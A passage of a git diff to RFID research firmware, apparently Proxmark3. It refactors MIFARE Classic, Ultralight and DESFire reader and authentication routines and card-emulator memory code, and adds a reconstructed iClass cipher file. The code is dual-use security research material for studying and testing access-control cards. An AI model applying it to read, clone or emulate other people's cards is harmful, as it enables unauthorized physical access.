2; - } - - memcpy(bt, receivedAnswer + 16, 2); - AppendCrc14443a(receivedAnswer, 16); - if (bt[0] != receivedAnswer[16] || bt[1] != receivedAnswer[17]) { - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd CRC response error."); - return 3; - } - - memcpy(blockData, receivedAnswer, 14); - return 0; -} - - -int mifare_classic_writeblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData) -{ - // variables - int len, i; - uint32_t pos; - uint32_t par = 0; - byte_t res; + return 0; +} + +// mifare ultralight commands +int mifare_ul_ev1_auth(uint8_t *keybytes, uint8_t *pack){ + + uint16_t len = 0; + uint8_t resp[4] = {0x00, 0x00, 0x00, 0x00}; + uint8_t respPar[1] = {0x00}; + uint8_t key[4] = {0x00, 0x00, 0x00, 0x00}; + memcpy(key, keybytes, 4); + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) + Dbprintf("EV1 Auth : %02x%02x%02x%02x", key[0], key[1], key[2], key[3]); + + len = mifare_sendcmd(MIFARE_ULEV1_AUTH, key, sizeof(key), resp, respPar, NULL); + + if (len != 4) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: %02x %u", resp[0], len); + return 0; + } + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) + Dbprintf("Auth Resp: %02x%02x%02x%02x", resp[0],resp[1],resp[2],resp[3]); + + memcpy(pack, resp, 4); + return 1; +} + +int mifare_ultra_auth(uint8_t *keybytes){ + + /// 3des2k + uint8_t random_a[8] = {1,1,1,1,1,1,1,1}; + uint8_t random_b[8] = {0x00}; + uint8_t enc_random_b[8] = {0x00}; + uint8_t rnd_ab[16] = {0x00}; + uint8_t IV[8] = {0x00}; + uint8_t key[16] = {0x00}; + memcpy(key, keybytes, 16); + + uint16_t len = 0; + uint8_t resp[19] = {0x00}; + uint8_t respPar[3] = {0,0,0}; + + // REQUEST AUTHENTICATION + len = mifare_sendcmd_short(NULL, 1, MIFARE_ULC_AUTH_1, 0x00, resp, respPar ,NULL); + if (len != 11) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: %02x", resp[0]); + return 0; + } + + // tag nonce. + memcpy(enc_random_b,resp+1,8); + + // decrypt nonce. + tdes_2key_dec((void*)random_b, (void*)enc_random_b, sizeof(random_b), (const void*)key, IV ); + rol(random_b,8); + memcpy(rnd_ab ,random_a,8); + memcpy(rnd_ab+8,random_b,8); + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("enc_B: %02x %02x %02x %02x %02x %02x %02x %02x", + enc_random_b[0],enc_random_b[1],enc_random_b[2],enc_random_b[3],enc_random_b[4],enc_random_b[5],enc_random_b[6],enc_random_b[7]); + + Dbprintf(" B: %02x %02x %02x %02x %02x %02x %02x %02x", + random_b[0],random_b[1],random_b[2],random_b[3],random_b[4],random_b[5],random_b[6],random_b[7]); + + Dbprintf("rnd_ab: %02x %02x %02x %02x %02x %02x %02x %02x", + rnd_ab[0],rnd_ab[1],rnd_ab[2],rnd_ab[3],rnd_ab[4],rnd_ab[5],rnd_ab[6],rnd_ab[7]); + + Dbprintf("rnd_ab: %02x %02x %02x %02x %02x %02x %02x %02x", + rnd_ab[8],rnd_ab[9],rnd_ab[10],rnd_ab[11],rnd_ab[12],rnd_ab[13],rnd_ab[14],rnd_ab[15] ); + } + + // encrypt out, in, length, key, iv + tdes_2key_enc(rnd_ab, rnd_ab, sizeof(rnd_ab), key, enc_random_b); + + len = mifare_sendcmd(MIFARE_ULC_AUTH_2, rnd_ab, sizeof(rnd_ab), resp, respPar, NULL); + if (len != 11) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: %02x", resp[0]); + return 0; + } + + uint8_t enc_resp[8] = { 0,0,0,0,0,0,0,0 }; + uint8_t resp_random_a[8] = { 0,0,0,0,0,0,0,0 }; + memcpy(enc_resp, resp+1, 8); + + // decrypt out, in, length, key, iv + tdes_2key_dec(resp_random_a, enc_resp, 8, key, enc_random_b); + if ( memcmp(resp_random_a, random_a, 8) != 0 ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("failed authentication"); + return 0; + } + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("e_AB: %02x %02x %02x %02x %02x %02x %02x %02x", + rnd_ab[0],rnd_ab[1],rnd_ab[2],rnd_ab[3], + rnd_ab[4],rnd_ab[5],rnd_ab[6],rnd_ab[7]); + + Dbprintf("e_AB: %02x %02x %02x %02x %02x %02x %02x %02x", + rnd_ab[8],rnd_ab[9],rnd_ab[10],rnd_ab[11], + rnd_ab[12],rnd_ab[13],rnd_ab[14],rnd_ab[15]); + + Dbprintf("a: %02x %02x %02x %02x %02x %02x %02x %02x", + random_a[0],random_a[1],random_a[2],random_a[3], + random_a[4],random_a[5],random_a[6],random_a[7]); + + Dbprintf("b: %02x %02x %02x %02x %02x %02x %02x %02x", + resp_random_a[0],resp_random_a[1],resp_random_a[2],resp_random_a[3], + resp_random_a[4],resp_random_a[5],resp_random_a[6],resp_random_a[7]); + } + return 1; +} + +int mifare_ultra_readblockEx(uint8_t blockNo, uint8_t *blockData) { + uint16_t len = 0; + uint8_t bt[2] = {0x00, 0x00}; + uint8_t receivedAnswer[MAX_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_PARITY_SIZE] = {0x00}; + + len = mifare_sendcmd_short(NULL, 1, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); + if (len == 1) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); + return 1; + } + if (len != 18) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: card timeout. len: %x", len); + return 2; + } + + memcpy(bt, receivedAnswer + 16, 2); + AddCrc14A(receivedAnswer, 16); + if (bt[0] != receivedAnswer[16] || bt[1] != receivedAnswer[17]) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd CRC response error."); + return 3; + } + + memcpy(blockData, receivedAnswer, 14); + return 0; +} +int mifare_ultra_readblock(uint8_t blockNo, uint8_t *blockData) { + #define MFU_MAX_RETRIES 5 + uint8_t res; + + for (uint8_t retries = 0; retries < MFU_MAX_RETRIES; ++retries) { + res = mifare_ultra_readblockEx(blockNo, blockData); + + // break if OK, or NACK. + switch ( res ) { + case 0: + case 1: + return res; + default: + continue; + } + } + return res; +} + +int mifare_classic_writeblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData) { + // variables + uint16_t len = 0; + uint32_t pos = 0; + uint8_t par[3] = {0x00, 0x00, 0x00}; // enough for 18 Bytes to send + byte_t res = 0; uint8_t d_block[18], d_block_enc[18]; - uint8_t* receivedAnswer = mifare_get_bigbufptr(); + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; // command MIFARE_CLASSIC_WRITEBLOCK - len = mifare_sendcmd_short(pcs, 1, 0xA0, blockNo, receivedAnswer, NULL); + len = mifare_sendcmd_short(pcs, 1, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); if ((len != 1) || (receivedAnswer[0] != 0x0A)) { // 0x0a - ACK - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); return 1; } memcpy(d_block, blockData, 16); - AppendCrc14443a(d_block, 16); + AddCrc14A(d_block, 16); // crypto - par = 0; - for (pos = 0; pos < 18; pos++) - { + for (pos = 0; pos < 18; pos++) { d_block_enc[pos] = crypto1_byte(pcs, 0x00, 0) ^ d_block[pos]; - par = (par >> 1) | ( ((filter(pcs->odd) ^ oddparity(d_block[pos])) & 0x01) * 0x20000 ); + par[pos>>3] |= (((filter(pcs->odd) ^ oddparity8(d_block[pos])) & 0x01) << (7 - (pos&0x0007))); } ReaderTransmitPar(d_block_enc, sizeof(d_block_enc), par, NULL); // Receive the response - len = ReaderReceive(receivedAnswer); + len = ReaderReceive(receivedAnswer, receivedAnswerPar); res = 0; - for (i = 0; i < 4; i++) - res |= (crypto1_bit(pcs, 0, 0) ^ BIT(receivedAnswer[0], i)) << i; + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(receivedAnswer[0], 0)) << 0; + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(receivedAnswer[0], 1)) << 1; + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(receivedAnswer[0], 2)) << 2; + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(receivedAnswer[0], 3)) << 3; if ((len != 1) || (res != 0x0A)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd send data2 Error: %02x", res); + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd send data2 Error: %02x", res); return 2; } - - return 0; -} - -int mifare_ultra_writeblock(uint32_t uid, uint8_t blockNo, uint8_t *blockData) -{ - // variables - int len; - uint32_t par = 0; - - uint8_t d_block[18]; - uint8_t* receivedAnswer = mifare_get_bigbufptr(); - - // command MIFARE_CLASSIC_WRITEBLOCK - len = mifare_sendcmd_short(NULL, 1, 0xA0, blockNo, receivedAnswer,NULL); - - if ((len != 1) || (receivedAnswer[0] != 0x0A)) { // 0x0a - ACK - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Addr Error: %02x", receivedAnswer[0]); - return 1; - } - - memset(d_block,'\0',18); - memcpy(d_block, blockData, 16); - AppendCrc14443a(d_block, 16); - - ReaderTransmitPar(d_block, sizeof(d_block), par, NULL); - - // Receive the response - len = ReaderReceive(receivedAnswer); - - if ((len != 1) || (receivedAnswer[0] != 0x0A)) { // 0x0a - ACK - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Data Error: %02x %d", receivedAnswer[0],len); - return 2; - } - - return 0; -} - -int mifare_ultra_special_writeblock(uint32_t uid, uint8_t blockNo, uint8_t *blockData) -{ - // variables - int len; - //uint32_t par = 0; - - uint8_t d_block[8]; - uint8_t* receivedAnswer = mifare_get_bigbufptr(); - - // command MIFARE_CLASSIC_WRITEBLOCK - memset(d_block,'\0',8); - d_block[0]= blockNo; - memcpy(d_block+1,blockData,4); - AppendCrc14443a(d_block, 6); - - //i know the data send here is correct - len = mifare_sendcmd_short_special(NULL, 1, 0xA2, d_block, receivedAnswer,NULL); - - if (receivedAnswer[0] != 0x0A) { // 0x0a - ACK - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Send Error: %02x %d", receivedAnswer[0],len); - return 1; - } - return 0; -} - -int mifare_classic_halt(struct Crypto1State *pcs, uint32_t uid) -{ - // variables - int len; - - // Mifare HALT - uint8_t* receivedAnswer = mifare_get_bigbufptr(); + return 0; +} - len = mifare_sendcmd_short(pcs, pcs == NULL ? 0:1, 0x50, 0x00, receivedAnswer, NULL); +/* // command not needed, but left for future testing +int mifare_ultra_writeblock_compat(uint8_t blockNo, uint8_t *blockData) { + uint16_t len; + uint8_t par[3] = {0}; // enough for 18 parity bits + uint8_t d_block[18] = {0x00}; + uint8_t receivedAnswer[MAX_FRAME_SIZE]; + uint8_t receivedAnswerPar[MAX_PARITY_SIZE]; + + len = mifare_sendcmd_short(NULL, true, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); + + if ((len != 1) || (receivedAnswer[0] != 0x0A)) { // 0x0a - ACK + if (MF_DBGLEVEL >= MF_DBG_ERROR) + Dbprintf("Cmd Addr Error: %02x", receivedAnswer[0]); + return 1; + } + + memcpy(d_block, blockData, 16); + AddCrc14A(d_block, 16); + + ReaderTransmitPar(d_block, sizeof(d_block), par, NULL); + + len = ReaderReceive(receivedAnswer, receivedAnswerPar); + + if ((len != 1) || (receivedAnswer[0] != 0x0A)) { // 0x0a - ACK + if (MF_DBGLEVEL >= MF_DBG_ERROR) + Dbprintf("Cmd Data Error: %02x %d", receivedAnswer[0],len); + return 2; + } + return 0; +} +*/ + +int mifare_ultra_writeblock(uint8_t blockNo, uint8_t *blockData) { + uint16_t len = 0; + uint8_t block[5] = {blockNo, 0x00, 0x00, 0x00, 0x00 }; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; + + // command MIFARE_CLASSIC_WRITEBLOCK + memcpy(block+1, blockData, 4); + + len = mifare_sendcmd( MIFARE_ULC_WRITE, block, sizeof(block), receivedAnswer, receivedAnswerPar, NULL); + + if (receivedAnswer[0] != 0x0A) { // 0x0a - ACK + if (MF_DBGLEVEL >= MF_DBG_ERROR) + Dbprintf("Cmd Send Error: %02x %d", receivedAnswer[0],len); + return 1; + } + return 0; +} +int mifare_classic_halt_ex(struct Crypto1State *pcs) { + uint8_t receivedAnswer[4] = {0x00, 0x00, 0x00, 0x00}; + uint16_t len = mifare_sendcmd_short(pcs, (pcs == NULL) ? CRYPT_NONE : CRYPT_ALL, ISO14443A_CMD_HALT, 0x00, receivedAnswer, NULL, NULL); if (len != 0) { - if (MF_DBGLEVEL >= 1) Dbprintf("halt error. response len: %x", len); + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("halt warning. response len: %x", len); return 1; } + return 0; +} +int mifare_classic_halt(struct Crypto1State *pcs, uint32_t uid) { + return mifare_classic_halt_ex(pcs); +} + +int mifare_ultra_halt() { + uint16_t len = 0; + uint8_t receivedAnswer[4] = {0x00, 0x00, 0x00, 0x00}; + len = mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_HALT, 0x00, receivedAnswer, NULL, NULL); + if (len != 0) { + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("halt warning. response len: %x", len); + return 1; + } + return 0; +} - return 0; -} - -int mifare_ultra_halt(uint32_t uid) -{ - // variables - int len; - - // Mifare HALT - uint8_t* receivedAnswer = mifare_get_bigbufptr(); - - len = mifare_sendcmd_short(NULL, 1, 0x50, 0x00, receivedAnswer, NULL); - if (len != 0) { - if (MF_DBGLEVEL >= 1) Dbprintf("halt error. response len: %x", len); - return 1; - } - - return 0; -} - // Mifare Memory Structure: up to 32 Sectors with 4 blocks each (1k and 2k cards), // plus evtl. 8 sectors with 16 blocks each (4k cards) -uint8_t NumBlocksPerSector(uint8_t sectorNo) -{ - if (sectorNo < 32) - return 4; - else - return 16; +uint8_t NumBlocksPerSector(uint8_t sectorNo) { + return (sectorNo < 32) ? 4 : 16; } -uint8_t FirstBlockOfSector(uint8_t sectorNo) -{ +uint8_t FirstBlockOfSector(uint8_t sectorNo) { if (sectorNo < 32) return sectorNo * 4; else @@ -473,28 +514,28 @@ uint8_t FirstBlockOfSector(uint8_t sectorNo) } +// work with emulator memory +void emlSetMem(uint8_t *data, int blockNum, int blocksCount) { + emlSetMem_xt(data, blockNum, blocksCount, 16); +} -// work with emulator memory -void emlSetMem(uint8_t *data, int blockNum, int blocksCount) { - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); - - memcpy(emCARD + blockNum * 16, data, blocksCount * 16); +void emlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth) { + uint8_t* emCARD = BigBuf_get_EM_addr(); + memcpy(emCARD + blockNum * blockBtWidth, data, blocksCount * blockBtWidth); } void emlGetMem(uint8_t *data, int blockNum, int blocksCount) { - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); - + uint8_t* emCARD = BigBuf_get_EM_addr(); memcpy(data, emCARD + blockNum * 16, blocksCount * 16); } void emlGetMemBt(uint8_t *data, int bytePtr, int byteCount) { - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); - + uint8_t* emCARD = BigBuf_get_EM_addr(); memcpy(data, emCARD + bytePtr, byteCount); } int emlCheckValBl(int blockNum) { - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); + uint8_t* emCARD = BigBuf_get_EM_addr(); uint8_t* data = emCARD + blockNum * 16; if ((data[0] != (data[4] ^ 0xff)) || (data[0] != data[8]) || @@ -509,21 +550,19 @@ int emlCheckValBl(int blockNum) { } int emlGetValBl(uint32_t *blReg, uint8_t *blBlock, int blockNum) { - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); + uint8_t* emCARD = BigBuf_get_EM_addr(); uint8_t* data = emCARD + blockNum * 16; - if (emlCheckValBl(blockNum)) { + if (emlCheckValBl(blockNum)) return 1; - } memcpy(blReg, data, 4); *blBlock = data[12]; - return 0; } int emlSetValBl(uint32_t blReg, uint8_t blBlock, int blockNum) { - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); + uint8_t* emCARD = BigBuf_get_EM_addr(); uint8_t* data = emCARD + blockNum * 16; memcpy(data + 0, &blReg, 4); @@ -540,28 +579,111 @@ int emlSetValBl(uint32_t blReg, uint8_t blBlock, int blockNum) { } uint64_t emlGetKey(int sectorNum, int keyType) { - uint8_t key[6]; - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); - + uint8_t key[6] = {0x00}; + uint8_t* emCARD = BigBuf_get_EM_addr(); memcpy(key, emCARD + 16 * (FirstBlockOfSector(sectorNum) + NumBlocksPerSector(sectorNum) - 1) + keyType * 10, 6); return bytes_to_num(key, 6); } void emlClearMem(void) { - int b; - const uint8_t trailer[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x80, 0x69, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; const uint8_t uid[] = {0xe6, 0x84, 0x87, 0xf3, 0x16, 0x88, 0x04, 0x00, 0x46, 0x8e, 0x45, 0x55, 0x4d, 0x70, 0x41, 0x04}; - uint8_t* emCARD = eml_get_bigbufptr_cardmem(); - - memset(emCARD, 0, CARD_MEMORY_LEN); + uint8_t* emCARD = BigBuf_get_EM_addr(); + memset(emCARD, 0, CARD_MEMORY_SIZE); // fill sectors trailer data - for(b = 3; b < 256; b<127?(b+=4):(b+=16)) { - emlSetMem((uint8_t *)trailer, b , 1); - } + for(uint16_t b = 3; b < 256; ((b < 127) ? (b += 4) : (b += 16))) + emlSetMem((uint8_t *)trailer, b, 1); // uid emlSetMem((uint8_t *)uid, 0, 1); return; } + + +// Mifare desfire commands +int mifare_sendcmd_special(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t* data, uint8_t* answer, uint8_t *answer_parity, uint32_t *timing) { + uint8_t dcmd[5] = {cmd, data[0], data[1], 0x00, 0x00}; + AddCrc14A(dcmd, 3); + + ReaderTransmit(dcmd, sizeof(dcmd), NULL); + int len = ReaderReceive(answer, answer_parity); + if(!len) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Authentication failed. Card timeout."); + return 1; + } + return len; +} + +int mifare_sendcmd_special2(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t* data, uint8_t* answer,uint8_t *answer_parity, uint32_t *timing) { + uint8_t dcmd[20] = {0x00}; + dcmd[0] = cmd; + memcpy(dcmd+1,data,17); + AddCrc14A(dcmd, 18); + + ReaderTransmit(dcmd, sizeof(dcmd), NULL); + int len = ReaderReceive(answer, answer_parity); + if(!len){ + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Authentication failed. Card timeout."); + return 1; + } + return len; +} + +int mifare_desfire_des_auth1(uint32_t uid, uint8_t *blockData){ + + int len; + // load key, keynumber + uint8_t data[2]={MFDES_AUTHENTICATE, 0x00}; + uint8_t receivedAnswer[MAX_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_PARITY_SIZE] = {0x00}; + + len = mifare_sendcmd_special(NULL, 1, 0x02, data, receivedAnswer,receivedAnswerPar,NULL); + if (len == 1) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) + Dbprintf("Cmd Error: %02x", receivedAnswer[0]); + return 1; + } + + if (len == 12) { + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("Auth1 Resp: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + receivedAnswer[0],receivedAnswer[1],receivedAnswer[2],receivedAnswer[3],receivedAnswer[4], + receivedAnswer[5],receivedAnswer[6],receivedAnswer[7],receivedAnswer[8],receivedAnswer[9], + receivedAnswer[10],receivedAnswer[11]); + } + memcpy(blockData, receivedAnswer, 12); + return 0; + } + return 1; +} + +int mifare_desfire_des_auth2(uint32_t uid, uint8_t *key, uint8_t *blockData){ + + int len; + uint8_t data[17] = {MFDES_AUTHENTICATION_FRAME}; + memcpy(data+1,key,16); + + uint8_t receivedAnswer[MAX_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_PARITY_SIZE] = {0x00}; + + len = mifare_sendcmd_special2(NULL, 1, 0x03, data, receivedAnswer, receivedAnswerPar ,NULL); + + if ((receivedAnswer[0] == 0x03) && (receivedAnswer[1] == 0xae)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) + Dbprintf("Auth Error: %02x %02x", receivedAnswer[0], receivedAnswer[1]); + return 1; + } + + if (len == 12){ + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("Auth2 Resp: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + receivedAnswer[0],receivedAnswer[1],receivedAnswer[2],receivedAnswer[3],receivedAnswer[4], + receivedAnswer[5],receivedAnswer[6],receivedAnswer[7],receivedAnswer[8],receivedAnswer[9], + receivedAnswer[10],receivedAnswer[11]); + } + memcpy(blockData, receivedAnswer, 12); + return 0; + } + return 1; +} diff --git a/armsrc/mifareutil.h b/armsrc/mifareutil.h index 8708d3dd4..268149f60 100644 --- a/armsrc/mifareutil.h +++ b/armsrc/mifareutil.h @@ -12,74 +12,83 @@ #ifndef __MIFAREUTIL_H #define __MIFAREUTIL_H +#include "proxmark3.h" +#include "apps.h" +#include "parity.h" +#include "util.h" +#include "string.h" +#include "iso14443crc.h" +#include "iso14443a.h" +#include "crapto1/crapto1.h" +#include "des.h" +#include "random.h" // fast_prand, prand + // mifare authentication #define CRYPT_NONE 0 #define CRYPT_ALL 1 #define CRYPT_REQUEST 2 -#define AUTH_FIRST 0 +#define AUTH_FIRST 0 #define AUTH_NESTED 2 +#define AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation) +#define PRE_AUTHENTICATION_LEADTIME 400 // some (non standard) cards need a pause after select before they are ready for first authentication + // mifare 4bit card answers #define CARD_ACK 0x0A // 1010 - ACK #define CARD_NACK_NA 0x04 // 0100 - NACK, not allowed (command not allowed) #define CARD_NACK_TR 0x05 // 0101 - NACK, transmission error -// reader voltage field detector -#define MF_MINFIELDV 4000 -// debug -// 0 - no debug messages 1 - error messages 2 - all messages 4 - extended debug mode -#define MF_DBG_NONE 0 -#define MF_DBG_ERROR 1 -#define MF_DBG_ALL 2 -#define MF_DBG_EXTENDED 4 - -extern int MF_DBGLEVEL; //mifare emulator states #define MFEMUL_NOFIELD 0 #define MFEMUL_IDLE 1 #define MFEMUL_SELECT1 2 #define MFEMUL_SELECT2 3 -#define MFEMUL_AUTH1 4 -#define MFEMUL_AUTH2 5 -#define MFEMUL_WORK 6 -#define MFEMUL_WRITEBL2 7 -#define MFEMUL_INTREG_INC 8 -#define MFEMUL_INTREG_DEC 9 -#define MFEMUL_INTREG_REST 10 -#define MFEMUL_HALTED 11 +#define MFEMUL_SELECT3 4 +#define MFEMUL_AUTH1 5 +#define MFEMUL_AUTH2 6 +#define MFEMUL_WORK 7 +#define MFEMUL_WRITEBL2 8 +#define MFEMUL_INTREG_INC 9 +#define MFEMUL_INTREG_DEC 10 +#define MFEMUL_INTREG_REST 11 +#define MFEMUL_HALTED 12 #define cardSTATE_TO_IDLE() cardSTATE = MFEMUL_IDLE; LED_B_OFF(); LED_C_OFF(); //functions -uint8_t* mifare_get_bigbufptr(void); -int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer, uint32_t *timing); -int mifare_sendcmd_short_special(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t *data, uint8_t* amswer, uint8_t *timing); -int mifare_sendcmd_shortex(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer, uint32_t * parptr, uint32_t *timing); +int mifare_sendcmd(uint8_t cmd, uint8_t *data, uint8_t data_size, uint8_t* answer, uint8_t *answer_parity, uint32_t *timing); +int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer, uint8_t *answer_parity, uint32_t *timing); -int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, \ - uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested); -int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, \ - uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested, uint32_t * ntptr, uint32_t *timing); -int mifare_classic_readblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData); -int mifare_ultra_readblock(uint32_t uid, uint8_t blockNo, uint8_t *blockData); -int mifare_classic_writeblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData); -int mifare_ultra_writeblock(uint32_t uid, uint8_t blockNo, uint8_t *blockData); -int mifare_ultra_special_writeblock(uint32_t uid, uint8_t blockNo, uint8_t *blockData); -int mifare_classic_halt(struct Crypto1State *pcs, uint32_t uid); -int mifare_ultra_halt(uint32_t uid); +// mifare classic +int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested); +int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested, uint32_t * ntptr, uint32_t *timing); +int mifare_classic_readblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData); +int mifare_classic_halt(struct Crypto1State *pcs, uint32_t uid); +int mifare_classic_halt_ex(struct Crypto1State *pcs); +int mifare_classic_writeblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData); + +// Ultralight/NTAG... +int mifare_ul_ev1_auth(uint8_t *key, uint8_t *pack); +int mifare_ultra_auth(uint8_t *key); +int mifare_ultra_readblock(uint8_t blockNo, uint8_t *blockData); +//int mifare_ultra_writeblock_compat(uint8_t blockNo, uint8_t *blockData); +int mifare_ultra_writeblock(uint8_t blockNo, uint8_t *blockData); +int mifare_ultra_halt(); + +// desfire +int mifare_sendcmd_special(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t* data, uint8_t* answer, uint8_t *answer_parity, uint32_t *timing); +int mifare_sendcmd_special2(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t* data, uint8_t* answer,uint8_t *answer_parity, uint32_t *timing); +int mifare_desfire_des_auth1(uint32_t uid, uint8_t *blockData); +int mifare_desfire_des_auth2(uint32_t uid, uint8_t *key, uint8_t *blockData); // crypto functions void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *receivedCmd, int len); -void mf_crypto1_encrypt(struct Crypto1State *pcs, uint8_t *data, int len, uint32_t *par); +void mf_crypto1_decryptEx(struct Crypto1State *pcs, uint8_t *data_in, int len, uint8_t *data_out); +void mf_crypto1_encrypt(struct Crypto1State *pcs, uint8_t *data, uint16_t len, uint8_t *par); uint8_t mf_crypto1_encrypt4bit(struct Crypto1State *pcs, uint8_t data); -// memory management -uint8_t* mifare_get_bigbufptr(void); -uint8_t* eml_get_bigbufptr_sendbuf(void); -uint8_t* eml_get_bigbufptr_recbuf(void); - // Mifare memory structure uint8_t NumBlocksPerSector(uint8_t sectorNo); uint8_t FirstBlockOfSector(uint8_t sectorNo); @@ -87,6 +96,7 @@ uint8_t FirstBlockOfSector(uint8_t sectorNo); // emulator functions void emlClearMem(void); void emlSetMem(uint8_t *data, int blockNum, int blocksCount); +void emlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); void emlGetMem(uint8_t *data, int blockNum, int blocksCount); void emlGetMemBt(uint8_t *data, int bytePtr, int byteCount); uint64_t emlGetKey(int sectorNum, int keyType); diff --git a/armsrc/obj/Standalone/.dummy b/armsrc/obj/Standalone/.dummy new file mode 100644 index 000000000..e69de29bb diff --git a/armsrc/optimized_cipher.c b/armsrc/optimized_cipher.c new file mode 100644 index 000000000..36b25f593 --- /dev/null +++ b/armsrc/optimized_cipher.c @@ -0,0 +1,267 @@ +/***************************************************************************** + * WARNING + * + * THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. + * + * USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL + * PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, + * AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. + * + * THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. + * + ***************************************************************************** + * + * This file is part of loclass. It is a reconstructon of the cipher engine + * used in iClass, and RFID techology. + * + * The implementation is based on the work performed by + * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and + * Milosch Meriac in the paper "Dismantling IClass". + * + * Copyright (C) 2014 Martin Holst Swende + * + * This is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * 